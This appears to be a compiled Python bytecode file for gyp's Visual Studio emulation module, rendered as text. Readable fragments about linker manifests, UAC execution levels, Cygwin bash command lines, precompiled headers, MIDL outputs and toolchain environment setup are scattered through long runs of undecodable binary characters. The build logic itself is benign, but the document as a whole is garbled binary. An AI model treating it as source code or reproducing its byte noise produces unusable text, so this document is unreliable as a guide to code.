�n�n�[�!�!�!��E�E�W�E�E�E�E�E�M�� � ��);�=N�!.�!D�}�3D�i�	Q�	Q�:�N�)�>��N�N�>�"�"�"��)�>�9�9rc��|�d|d���}|dkrdgggfS|dz}dd|zg}|�d��|�|��}|�d	|d���}	g}
d
}|	dkrF|�d|d���}d
ddd�}
|�d|d���}d|
|�d|�d�}nd}||z}|dz}tj�||��}tj�|��tj�	|��}|�
|��|���|g}
|r|�d��|
|�||��z
}
|||
fS)ajReturns a 3-tuple:
    - the set of flags that need to be added to the link to generate
      a default manifest
    - the intermediate manifest that the linker will generate that should be
      used to assert it doesn't add anything to the merged one.
    - the list of all the manifest files to be merged by the manifest tool and
      included into the link.)r�GenerateManifestrr�z/MANIFEST:NOz.intermediate.manifestz	/MANIFESTz/ManifestFile:z/MANIFESTUAC:NO)r�	EnableUACz�<?xml version='1.0' encoding='UTF-8' standalone='yes'?><assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>%s</assembly>)r�UACExecutionLevelr$�	asInvoker�highestAvailable�requireAdministratorr:)r�UACUIAccessr0z�
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  <security>
    <requestedPrivileges>
      <requestedExecutionLevel level='z' uiAccess='z:' />
    </requestedPrivileges>
  </security>
</trustInfo>r z.generated.manifestz/ALLOWISOLATION)
r�rFr�rrr(r��common�EnsureDirExists�WriteOnDiff�write�close�_GetAdditionalManifestFiles)r�rrr�r��allow_isolationr��generate_manifestr��flags�
enable_uacr��generated_manifest_outer�execution_level�execution_level_map�	ui_access�inner�generated_manifest_contents�generated_name�build_dir_generated_namerds                    rr�z MsvsSettings._GetLdManifestFlags�s���
�
�&J�&,�.4�&�6�6���F�"�"��
�r�2�
%�%��1�1�K����$�
�E�
�L�L�"�#�#�#�
�
�
��
'�
'�F����<�f�'-��/�/�J��N����V����
�
�&K�&,�c�&�;�;�o��
�
#�����-�-� ?��(/� �1�1�i�i�'��7�7�7����D�e�e��e�":�U�"B���1�1�N� "�w�|�|�I�~�F�F���J���7�8�8�8��
���7�8�8�A��G�G�'�(�(�(��G�G�I�I�I�$�%�N��&��l�l�$�%�%�%��d�6�6�v�7H�J�J�J�N��+�~�-�-rc�������d�g���}t|t��r|�d��}���fd�|D��S)z]Gets additional manifest files that are added to the default one
    generated by the linker.)�VCManifestTool�AdditionalManifestFilesr��;c
���g|]?}tj����|����������@Sr�r�)r$rdrrr�r�s  ���rr7z<MsvsSettings._GetAdditionalManifestFiles.<locals>.<listcomp>s^�������
�G���!�!�$�"6�"6�q��"6�"H�"H�I�I�
K�
K���r)r�r8r�r')r�rrr��filess``` rr�z(MsvsSettings._GetAdditionalManifestFiless�����
�M�M�G��"$�
�
&�
&�E��%������k�k�#���e�����������rc�d�|�|��}|�d|��}|dkS)zzReturns whether the target should be linked via Use Library Dependency
    Inputs (using component .objs of a given .lib).)r�UseLibraryDependencyInputsrr)r�rr�uldis   r�IsUseLibraryDependencyInputsz)MsvsSettings.IsUseLibraryDependencyInputss5���
�
��
'�
'�F��=�=�G��P�P�D��6�>�rc�h�|�|��}|�d|d���}|dkS)z6Returns whether manifest should be linked into binary.)r��
EmbedManifestrr�r)r�rr�embeds   r�IsEmbedManifestzMsvsSettings.IsEmbedManifests?��
�
�
��
'�
'�F��M�M�=�v�"(�
�
*�
*�E��F�?�rc�d�|�|��}|�d|��}|dkS)z:Returns whether the target should be linked incrementally.)rr�r�r)r�rr�link_incs   r�IsLinkIncrementalzMsvsSettings.IsLinkIncrementals3��
�
�
��
'�
'�F��}�}�@�&�I�I�H��s�?�rc��|�|��}g}|�||j|d|���}|d|d���|�d|d��z��|dd�	��|d
dd��
��|S)zTReturns the flags that need to be added to invocations of the resource
    compiler.�VCResourceCompilerToolr r�z/Ir1r�r�z/dr(�Culturez/lc�J�tt|����dd�S)Nr)�hexr��r#s rrz)MsvsSettings.GetRcflags.<locals>.<lambda>+s��S��Q���[�[����_�rr�)r�r�r|rF)r�rr�gyp_to_ninja_path�rcflags�rcs     r�
GetRcflagszMsvsSettings.GetRcflags s����
�
��
'�
'�F��G�	
�	�	�$�� 2�6� :� ��
�
2�
2�B��B�%�+<�T�J�J�J�J��N�N�4�+�+�C�0�0�0�1�1�1��B� ��.�.�.�.��B�y��#<�#<�=�=�=�=��Nrc�@�tj�tj�||jd����}d|z�dd��}d�|D��}d�|D��}d�|��}d|zd	|�d
|�d�z}|S)aOBuild a command line that runs args via cygwin bash. We assume that all
    incoming paths are in Windows normpath'd form, so they need to be
    converted to posix style for the part of the command line that's passed to
    bash. We also have to do some Visual Studio macro emulation here because
    various rules use magic VS names for things. Also note that rules that
    contain ninja variables cannot be fixed here (for example ${source}), so
    the outer generator needs to make sure that the paths that are written out
    are in posix style, if the command line will be used here.rzcd %srQrc�b�g|],}|�dd���dd����-S)rQrrr�r�r$rVs  rr7z;MsvsSettings.BuildCygwinBashCommandLine.<locals>.<listcomp>:s6��C�C�C��A�I�I�d�C� � �(�(��e�4�4�C�C�Crc�@�g|]}d|�dd��z��S)z'%s'�'z'\''rrs  rr7z;MsvsSettings.BuildCygwinBashCommandLine.<locals>.<listcomp>;s+��;�;�;��F�Q�Y�Y�s�G�,�,�,�;�;�;rr!z1call "%s\setup_env.bat" && set CYGWIN=nontsec && z	bash -c "z ; r)rrrr(r�r)r�r)�path_to_base�
cygwin_dir�cd�bash_cmdrZs       r�BuildCygwinBashCommandLinez'MsvsSettings.BuildCygwinBashCommandLine.s�����!�!�
����\�4�#8��#;�<�<�>�>�J�
�L�
 �	)�	)�$��	4�	4�B�C�C�d�C�C�C�D�;�;�d�;�;�;�D��x�x��~�~�H�<�z�I�I�!�r�r�8�8�8�,�	-���Jrc	��t|�d|j�dd������dkS)zkDetermine if an action should be run under cygwin. If the variable is
    unset, or set to 1 we use cygwin.�msvs_cygwin_shellr	r)r�r/r�)r��rules  r�IsRuleRunUnderCygwinz!MsvsSettings.IsRuleRunUnderCygwinBsI���t�x�x�+��	�
�
�&9�1�=�=�?�?�@�@�CD�E�Erc�V�|�dg��D]}|d|krdS�dS)zADetermine if there's an explicit rule for a particular extension.�rulesrpTF�r/)r�r�rprs    r�_HasExplicitRuleForExtensionz)MsvsSettings._HasExplicitRuleForExtensionHs@������"�%�%����	
�k�	�i�	'�	'��t�t�
(��5rc�\�td�|�dg��D����S)z:Determine if an action should not run midl for .idl files.c�:�g|]}|�dd����S)�explicit_idl_actionrr )r$�actions  rr7z7MsvsSettings._HasExplicitIdlActions.<locals>.<listcomp>Qs7��7�7�7���
�
�0�!�4�4�7�7�7r�actions)ror/�r�r�s  r�_HasExplicitIdlActionsz#MsvsSettings._HasExplicitIdlActionsOs>���7�7�"�h�h�y�"�5�5�7�7�7�8�8�8rc�X�|�|d��p|�|��S)z�Determine if there's an explicit rule or action for idl files. When
    there isn't we need to generate implicit rules to build MIDL .idl files.�idl)r!r(r's  r�HasExplicitIdlRulesOrActionsz)MsvsSettings.HasExplicitIdlRulesOrActionsTs2��
�-�-�d�E�:�:�
.��'�'��-�-�/rc�.�|�|d��S)z�Determine if there's an explicit rule for asm files. When there isn't we
    need to generate implicit rules to assemble .asm files.�asm)r!r's  r�HasExplicitAsmRulesz MsvsSettings.HasExplicitAsmRulesZs���,�,�T�5�9�9�9rc���������������j�d���d���fd�	}|dd���}|dd���}|d	d
���}|dd���}|d
d���}|dd���}	||||g}
d|fd|fd|fd|fd|fg}�����dkrdnd}ddd|dg}
|	|
||
fS)z�Determine the implicit outputs for an idl file. Returns output
    directory, outputs, and variables and flags that are required.r�Nc�H�����||�������S)Nr�r�r�)r�r1rr�midl_getr�s  ���r�midlz*MsvsSettings.GetIdlBuildData.<locals>.midlds4���
�
!�
!�(�(�4��"A�"A�"A�)/�"�1�1�1r�TypeLibraryNamez${root}.tlbr��HeaderFileNamez	${root}.h�DLLDataFileNamez	dlldata.c�InterfaceIdentifierFileNamez${root}_i.c�
ProxyFileNamez${root}_p.c�OutputDirectoryr �tlb�h�dlldata�iid�proxyr��win32r�z/char�signedz/envz/Oicfr#)r�r�r|r�)r��sourcerrr2r9�headerr;r<r=�outdir�output�	variablesr�r�r1s` `           @r�GetIdlBuildDatazMsvsSettings.GetIdlBuildData_s\������
�
��
'�
'�F�����d�&8��&@�,�O�O�H�1�1�1�1�1�1�1�1��$� �-�
8�
8�
8�C�
�T�"�K�
8�
8�
8�F��d�$�k�:�:�:�G�
�$�,�m�
D�
D�
D�C��D��-�8�8�8�E��T�#�R�
0�
0�
0�F��g�s�E�
*�F�����v���W�%�����5�!�	#�I�"&���f�!5�!5��!>�!>�g�g�E�O�
�h����A�E��6�9�e�+�+r)NN)Nr NN)0r�r�r��__doc__r�r�r�r�r�r��objectr�r�r�r�r�r�r�r�r�rr
rrrrlrtryr|r�r�r�r�r�r�r�r�r�rrrrrr!r(r+r.rEr4rrryry�s������=�=�!.�!.�!.�F	C�	C�	C�����6 � � � �
K�K�K�+�+�+�G�G�G�G�G�F�G�G�G�?�?�?����&9=�H�H�H�H�>B�,�,�,�,�F�F�F�F�F�F�������������
�
�
�������4�4�4�l
�
�
�+�+�+�
6�6�6�
	6�	6�	6����
�
�
�-�-�-�	�	�	�c:�c:�c:�JU.�U.�U.�n	�	�	����������������(E�E�E����8�8�8�
/�/�/�:�:�:�
,�,�,�,�,rryc�*�d}d}||vr||vp||vo||vS)N)rv)r{z.cxxz.cppr4)rq�pch_source_ext�c_exts�cc_extss    rroro{s<���&�#�'����<�N�f�$<�@��� �>�^�w�%>�Arc�0�eZdZdZd�Zd�Zd�Zd�Zd�ZdS)�PrecompiledHeaderz�Helper to generate dependencies and build rules to handle generation of
  precompiled headers. Interface matches the GCH handler in xcode_emulation.py.
  c��||_||_|jj|j}||��|_tj�|��\}}|||z�����|_dSr#)	�settingsrrr�
pch_sourcerrrnr��
output_obj)	r�rOrrr��gyp_to_unique_output�obj_extrP�filenamer�s	         rr�zPrecompiledHeader.__init__�ss���D�M��D�K���6�t�{�C�J�'�'�
�3�3�D�O��'�"�"�:�.�.�K�H�a�*�*�8�g�+=�>�>�D�D�F�F�D�O�O�Orc�0�|jj|jS)zMGet the header that will appear in an #include line for all source
    files.)rOr~rr)r�s r�
_PchHeaderzPrecompiledHeader._PchHeader�s���=�0���=�=rc��|�J�|���sgStj�|j��d}|D]B}ttj�|��d|��r
dd|jfgcS�CgS)aGiven a list of sources files and the corresponding object files,
    returns a list of the pch files that should be depended upon. The
    additional wrapping in the return value is for interface compatibility
    with make.py on Mac, and xcode_emulation.py.Nr	)rVrrrnrProrQ)r�r��objsr��pch_extr@s      r�GetObjDependenciesz$PrecompiledHeader.GetObjDependencies�s���
�<�<�<��?�?����
�i��g���t��/�/��2�G��/�/��	��� 0� 0�� 8� 8�� ;�W�	E�	E�/��t�T�_�-�.�.�.�.�/�
�Irc��gS)z�Not used on Windows as there are no additional build steps required
    (instead, existing steps are modified in GetFlagsModifications below).r4)r�r�s  r�GetPchBuildCommandsz%PrecompiledHeader.GetPchBuildCommands�s	���Irc���||jkr`d|���zg}|dkrdt|||z��fg|jgfS|dkrdt|||z��fg|jgfSg||fS)zgGet the modified cflags and implicit dependencies that should be used
    for the pch compilation step.z/Yc�cxx�	cflags_cc�cc�cflags_c)rPrVr@rQ)	r��inputrC�implicit�commandrar_r��
pch_outputs	         r�GetFlagsModificationsz'PrecompiledHeader.GetFlagsModifications�s���
������D�O�O�-�-�-�.�j�	�E�	�	��s�>�9�z�3I�J�J�K�L����%�	%��d�?�?��c�.�(�Z�2G�H�H�I�J����%�	%�
�v�x��rN)	r�r�r�rFr�rVrZr\rfr4rrrMrM�sl��������G�G�G�>�>�>�
������
 � � � � rrMc��ts5tj�|�dd��d���atS)N�msvs_version�autoF)�allow_fallback)rar��MSVSVersion�SelectVisualStudioVersionr/)rqs rrnrn�sD��	����:�:����N�F�3�3��;���J�
�rc�H�t|��}|���Sr#)rn�SetupScript)rqr��vss   r�_GetVsvarsSetupArgsrp�s���O�$�$�"�	���	�	�rc��d|vr>|���D])\}}d|vs
J|���|�||��}�*|S)z{Expand $(Variable) per expansions dict. See MsvsSettings.GetVSMacroEnv
  for the canonical way to retrieve a suitable dict.rjz$()r�r)�string�
expansions�old�news    rrgrg�sY��	�F�]�]��$�$�&�&�(�(���S�
��_�_�_�c�_�_�_��~�~�c�3�'�'�f�f�	�-rc��d}i}|�d��dkrtd|z���|���D]�}|D]�}tj|dz|�����rq|�dd��\}}|dkr9tj�	tj��tjz|z}|||�
��<n����dD]}||vrtd|z����|S)	z{Extracts environment variables required for the toolchain to run from
  a textual dump output by the cmd.exe 'set' command.)	zgoma_.*rhr��libpathr�pathext�
systemroot�temp�tmp�=rz#Invalid output_of_set. Value is:
%sr	r)�
SYSTEMROOT�TEMP�TMPz:Environment variable "%s" required to be set to valid path)rr�rY�re�matchr�r'rr�dirname�sysr��pathsep�upper)�
output_of_set�envvars_to_saverbr\�envvar�var�setting�requireds        r�_ExtractImportantEnvironmentr��s8��
�/�	�#��������"�"�
�:�]�J�
K�
K�K��&�&�(�(���d�!�
�
��	��&�3�,��
�
���	-�	-�	��z�z�#�q�)�)���W��V���
�G�O�O�C�N�3�3�b�j�@�7�J�'�"��C�I�I�K�K��
��	��0�E�E�h��s����9�;C�D�
E�
E�E��

�*rc�h�d}d}|���D]\}}||dz|z|zz
}�||z
}|S)z�Format as an 'environment block' directly suitable for CreateProcess.
  Briefly this is a list of key=value, terminated by an additional . See
  CreateProcess documentation for more details.r �r|)r�)�envvar_dict�block�nul�key�values     r�_FormatAsEnvironmentBlockr��sU��
�%��#��%�%�'�'�%�%�j�c�5�	�S�3�Y��
��
$�$�E�E��3�,�%�	�,rc���|������D]B}|�d��r+|td��d����cS�CdS)z�Gets the path to cl.exe based on the output of calling the environment
  setup batch file, followed by the equivalent of `where`.zLOC:N)�striprYr&r�)�output_of_wherer\s  r�_ExtractCLPathr��su���#�#�%�%�0�0�2�2�(�(�d����v���(�
�#�f�+�+�,�,�
�
%�
%�
'�
'�'�'�'�(�(�(rc��d}|�dd��ri}|D]}d||<�|St|��}i}|D�]�}|�|��}|�d��t	j|dtjtjd���}	|	���\}
}|	j	dkrtd||	j	fz���t|
��}|rQ|t|�d	d
���
d����z}d�|��|d	<t|��}
|t j�|d|z��d
��}|�|
��|���|�|��}|�d��t	j|dtjd���}	|	���\}}t)|��||<���|S)a�It's not sufficient to have the absolute path to the compiler, linker,
  etc. on Windows, as those tools rely on .dlls being in the PATH. We also
  need to support both x86 and x64 compilers within the same build (to support
  msvs_target_platform hackery). Different architectures require a different
  compiler binary, and different supporting environment variables (INCLUDE,
  LIB, LIBPATH). So, we extract the environment here, wrap all invocations
  of compiler tools (cl, link, lib, rc, midl, etc.) via win_tool.py which
  sets up the environment, and then we do not prefix the compiler with
  an absolute path, instead preferring something like "cl.exe" in the rule
  which will then run whichever the environment setup has put in the path.
  When the following procedure to generate environment files does not
  meet your requirement (e.g. for custom toolchains), you can pass
  "-G ninja_use_custom_environment_files" to the gyp to suppress file
  generation and use custom environment files prepared by yourself.)r�r��"ninja_use_custom_environment_filesrzcl.exe)�&&�setT)�shellrLrMrNz"%s" failed with error %d�INCLUDEr r�zenvironment.r)r��forz%i�inz(cl.exe)�doz@echoz
LOC:%~$PATH:i)r�rLrN)r/rnrnrErUrVrW�STDOUTrX�
returncoder�r�rr'r(r�rrr�r�r�)�toplevel_build_dirrqrs�open_out�archs�cl_pathsr�ror)�popenrDr�rb�	env_blockrdrCs                r�GenerateEnvironmentFilesr�s+�� �%����=�q�A�A���H�� � ���h�t�n�n��O��O�$�$�"�
�(��,�,�d�
�>�>�$���D��K�K�
�������D����9J��
!�
!�
!�E��$�$�&�&�L�I�q���1����1�T�5�;K�4L�L�M�M�M�
&�y�
1�
1�C��1�'�*�.1�g�g�i��.D�.D�.J�.J�3�.O�.O�+Q�+Q�Q�o��x�x��0�0�c�)�n�)�#�.�.�I�������0�.�4�2G�H�H�#�N�N�A��G�G�I�����G�G�I�I�I��>�>�$���D��K�K�E�F�F�F���T��j�o�04�
6�
6�
6�E��!�!�#�#�I�F�A�#�F�+�+�H�T�N�N�	�/rc����t|�dd����r_td�|��}��fd�|D��}d�|D��}|r3d�|D��}tdd�|��z���d	Sd	S)
aeEmulate behavior of msvs_error_on_missing_sources present in the msvs
  generator: Check that all regular source files, i.e. not created at run time,
  exist on disk. Missing files cause needless recompilation when building via
  VS, and we want this check to match for people/bots that build using ninja,
  so they're not surprised when the VS build fails.�msvs_error_on_missing_sourcesrc�
�d|vS)Nrjr4r
s rrz&VerifyMissingSources.<locals>.<lambda>Ds
��3�a�<�rc�b��g|]+}tj���|������,Sr4)rrr()r$r�r��gyp_to_ninjas  ��rr7z(VerifyMissingSources.<locals>.<listcomp>Es1���N�N�N�Q�����Y���Q���8�8�N�N�Nrc�P�g|]#}tj�|���!|��$Sr4)rr�existsrhs  rr7z(VerifyMissingSources.<locals>.<listcomp>Fs+��<�<�<�Q�"�'�.�.��*;�*;�<�q�<�<�<rc�L�g|]!}tj�|����"Sr4)rrrrhs  rr7z(VerifyMissingSources.<locals>.<listcomp>Js(��9�9�9�A�B�G�$�$�Q�'�'�9�9�9rzMissing input files:
%sr�N)r�r/rBr�r()r�r�rqr��no_specials�relative�missing�
cleaned_ups ` `    r�VerifyMissingSourcesr�=s�����	��	�	�<�a�	@�	@�A�A�J��/�/��9�9�K�N�N�N�N�N�+�N�N�N�H�<�<�(�<�<�<�G��J�:�9��9�9�9�j��0�4�9�9�Z�3H�3H�H�I�I�I�J�J�J�Jrc�>�|�di��}tj�|��}|���|d<dt
j�dd��vs"dt
j�dd��vrd|d<dSd	|d<dS)
Nrq�MSVS_VERSION�64�PROCESSOR_ARCHITECTUREr �PROCESSOR_ARCHITEW6432�@�MSVS_OS_BITS� )r/r��msvs_emulationrn�	ShortNamerrT)�default_variables�paramsrqrhs    r�CalculateCommonVariablesr�Os����J�J�0�"�5�5�/��#�0�0��A�A�,�&2�&<�&<�&>�&>��N�#��b�j�n�n�5�r�:�:�:�:�
�b�j�n�n�5�r�:�:�:�:�(*��n�%�%�%�(*��n�%�%�%r))rFrr�rUr��	six.movesr�
gyp.commonr�gyp.MSVSUtilr��gyp.MSVSVersionrr:�	NameErrorr��compilerrr,r.r<rCrGrSrcrwrGryrorMrarnrprgr�r�r�r�r�r�r4rr�<module>r�se��
��

�	�	�	�	�	�	�	�����
�
�
�
�%�%�%�%�%�%�!�!�!�!�!�!���������,�,�,�,�,�,���*�*�������*�*�*�����"�r�z�)�,�,�� � � �F
L�
L�
L� @�@�@�������������.
�
�
�("�"�"�8m
,�m
,�m
,�m
,�m
,�6�m
,�m
,�m
,�`A�A�A�1 �1 �1 �1 �1 ��1 �1 �1 �h�
����������#
�#
�#
�J	�	�	�(�(�(�7�7�7�rJ�J�J�$+�+�+�+�+s�1�;�;